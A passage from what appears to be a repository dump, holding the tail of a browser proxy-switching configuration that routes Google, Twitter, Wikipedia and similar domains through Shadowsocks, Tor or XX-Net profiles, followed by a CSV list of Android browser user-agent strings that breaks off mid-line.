1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"SS for 1080\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"SS for 1080\"}]},\"+自动切换 Tor\":{\"color\":\"#d497ee\",\"defaultProfileName\":\"__ruleListOf_自动切换 Tor\",\"name\":\"自动切换 Tor\",\"profileType\":\"SwitchProfile\",\"revision\":\"151e368baa9\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.hostinger.com.hk\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"Tor for 9050\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"Tor for 9050\"}]},\"+自动切换 XXNET\":{\"color\":\"#08b208\",\"defaultProfileName\":\"__ruleListOf_自动切换 XXNET\",\"name\":\"自动切换 XXNET\",\"profileType\":\"SwitchProfile\",\"revision\":\"151f329ca5e\",\"rules\":[{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.hostinger.com.hk\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.armorgames.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tools.google.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.goldenfrog.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com.*\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.google-analytics.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleapis.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googlecode.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.googleusercontent.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gstatic.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"goo.gl\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sourceforge.net\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.sf.net\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"t.co\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.tweetdeck.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.twimg.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.wikipedia.org\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.ytimg.com\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.clipconverter.cc\"},\"profileName\":\"XXNET for GAE\"},{\"condition\":{\"conditionType\":\"HostWildcardCondition\",\"pattern\":\"*.gravatar.com\"},\"profileName\":\"XXNET for GAE\"}]},\"-confirmDeletion\":true,\"-downloadInterval\":720,\"-enableQuickSwitch\":false,\"-monitorWebRequests\":false,\"-quickSwitchProfiles\":[\"direct\"],\"-refreshOnProfileChange\":true,\"-revertProxyChanges\":false,\"-showConditionTypes\":0,\"-showInspectMenu\":true,\"-startupProfileName\":\"\",\"schemaVersion\":2}"
  },
  {
    "path": "User Agents/csv/android-browser.csv",
    "content": "ua,version,commonality\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; pt-br; MZ608 Build/7.7.1-141-7-FLEM-UMTS-LA) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\nDalvik/1.6.0 (Linux; U; Android 4.4.4; WT19M-FI Build/KTU84Q),,Common\nDalvik/1.6.0 (Linux; U; Android 4.0.4; opensign_x86 Build/IMM76L),,Common\n\"Mozilla/5.0 (Linux; U; Android 2.3.1; en-us; MID Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-L38C Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\nDalvik/1.6.0 (Linux; U; Android 4.3.1; WT19M-FI Build/JLS36I),,Common\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\nDalvik/1.6.0 (Linux; U; Android 4.4.4; WT22M-FI Build/KTU84Q),,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I915 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LGMS500 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-in; Micromax A87 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I467 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5210 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-S738C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LGMS769 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; ZTE V768 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-US; B1-710 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\",4.1,Common\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M830 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SM-T210R Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; C5170 Build/IML77) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I800 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M840 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I497 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Huawei Y301A1 Build/HuaweiY301A1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T999L Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; 0PCV1 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-N8013 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P3113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-T310 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; EVO Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SAMSUNG-SGH-I747 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L710 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LGL35G/V100) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P3110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; he-il; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID RAZR Build/9.8.2O-72_VZW-16) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Sprint APA9292KT Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SGH-T679 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5360 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; ZTE N9120 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M820-BST Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-LG730 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Next8P12 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L900 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ZTE_N9511 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SAMSUNG-SM-T217A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; mk808 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; Nexus 5 Build/KTU84P) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-T217S Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Z730 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; LG-VM696 Build/ZV5.GWK74) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I747M Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-i705 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC-A9192/1.0 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-R820 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L900 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; H866C Build/HuaweiH866C) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SGH-S959G Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SM-S820L Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T889 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-gb; GT-P1000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SCH-S720C Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; pcdadr6350 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-VS410PP Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8190N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; X501_USA_Cricket Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T310 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; SCH-R530U Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 USCC-R530U\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; LG-MS695 Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I500 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-P7510 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SM-G360P Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T989 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Z796C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; N860 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; he-us; GT-I9060 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HP 7 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.0.1; en-us; Droid Build/ESD56) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I747M Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-I9300 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; AT100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux;u;Android 2.3.7;zh-cn;) AppleWebKit/533.1 (KHTML,like Gecko) Version/4.0 Mobile Safari/533.1 (compatible; +http://www.baidu.com/search/spi_der.html)\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; DROID X2 Build/4.5.1A-DTN-200-18) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I605 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; RCT6378W2 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Nexus S Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5830M Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LGL45C Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; A200 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC-A9192/1.0 Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-N5110 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-T210R Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Average\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; SAMSUNG-SGH-I997 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Average\n\"Lenovo-A390t_TD/S100 Release/11.2012 Mozilla/5.0 (Linux; U; Android 4.0.3) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile 